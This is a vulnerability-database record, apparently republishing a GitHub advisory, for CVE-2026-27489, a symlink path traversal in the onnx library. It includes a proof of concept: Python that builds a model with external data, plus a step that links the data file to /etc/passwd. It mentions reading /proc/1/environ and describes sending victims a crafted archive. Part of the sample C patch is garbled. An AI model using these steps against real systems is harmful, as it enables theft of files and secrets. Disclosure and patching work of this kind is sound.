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Response snapshot Nov 4, 2026, 04:16 UTC

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VulnerabilityCVE-2026-27489

onnx Vulnerable to Path Traversal via Symlink

A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.

Published Updated

At a glance

Exploited
Not known
Severity
8.7 High (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: onnx: 1.21.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-3r9x-f23j-gc73 (opens a new tab)

What happened

Summary

A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.

Details

The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

Continue reading

std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.

PoC

# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper

def create_onnx_model(output_path="model.onnx"):
 weight_matrix = np.random.randn(1000, 1000).astype(np.float32)

 X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
 Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
 W = numpy_helper.from_array(weight_matrix, name="W")

 matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")

 graph = helper.make_graph(
 nodes=[matmul_node],
 name="SimpleModel",
 inputs=[X],
 outputs=[Y],
 initializer=[W]
 )

 model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
 onnx.checker.check_model(model)

 data_file = output_path.replace('.onnx', '.data')

 if os.path.exists(output_path):
 os.remove(output_path)
 if os.path.exists(data_file):
 os.remove(data_file)

 onnx.save_model(
 model,
 output_path,
 save_as_external_data=True,
 all_tensors_to_one_file=True,
 location=os.path.basename(data_file),
 size_threshold=1024 * 1024
 )

if __name__ == "__main__":
 create_onnx_model("model.onnx")

1. Run the above code to generate a sample model with external data. 2. Remove model.data 3. Run ln -s /etc/passwd model.data 4. Load the model using the following code 5. Observe check for symlink is bypassed and model is succesfuly loaded

import onnx
from onnx.external_data_helper import load_external_data_for_model

def load_onnx_model_basic(model_path="model.onnx"):
 model = onnx.load(model_path)
 return model

def load_onnx_model_explicit(model_path="model.onnx"):
 model = onnx.load(model_path, load_external_data=False)
 load_external_data_for_model(model, ".")
 return model

if __name__ == "__main__":
 model = load_onnx_model_basic("model.onnx")

A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.

Impact

Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.

NOTE: this issue is not limited to UNIX.

Sample patch

#include 
#include 
#include 
#include 

int open_external_file_no_symlink(const char *base_dir,
 const char *relative_path) {
 int dirfd = -1;
 int fd = -1;
 struct stat st;

 // Open base directory
 dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
 if (dirfd fail if final path component is a symlink
 fd = openat(dirfd,
 relative_path,
 O_RDONLY | O_NOFOLLOW);
 close(dirfd);

 if (fd < 0) {
 // ELOOP is the typical error if a symlink is encountered
 return -1;
 }

 // Inspect the *opened file*
 if (fstat(fd, &st) != 0) {
 close(fd);
 return -1;
 }

 // Enforce "regular file only"
 if (!S_ISREG(st.st_mode)) {
 close(fd);
 errno = EINVAL;
 return -1;
 }

 // fd is now:
 // - not a symlink
 // - not a directory
 // - not a device / FIFO / socket
 // - race-safe
 return fd;
}

Resources

* https://cwe.mitre.org/data/definitions/61.html * https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172 * https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368

Affected package ranges reported by GitHub: onnx: <= 1.20.0

Scores and how they were measured

CVSS base severity

8.7

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-3r9x-f23j-gc73 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3r9x-f23j-gc73, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 4). onnx Vulnerable to Path Traversal via Symlink (CVE-2026-27489). https://kevwire.com/record/CVE-2026-27489

MLA

"onnx Vulnerable to Path Traversal via Symlink (CVE-2026-27489)." KEVWire, 4 Nov. 2026, kevwire.com/record/CVE-2026-27489.

Chicago

KEVWire. "onnx Vulnerable to Path Traversal via Symlink (CVE-2026-27489)." Last modified November 4, 2026. https://kevwire.com/record/CVE-2026-27489.

Evidence summary (plain text)

onnx Vulnerable to Path Traversal via Symlink (Mar 31, 2026).
A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.

The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:
https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033

std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.

1.
CVSS 8.7 (version 4.0; evidence as of Nov 4, 2026; https://github.com/advisories/GHSA-3r9x-f23j-gc73).
Sources:
GitHub-reviewed advisory GHSA-3r9x-f23j-gc73: https://github.com/advisories/GHSA-3r9x-f23j-gc73
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-27489.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 4, 2026, 04:15 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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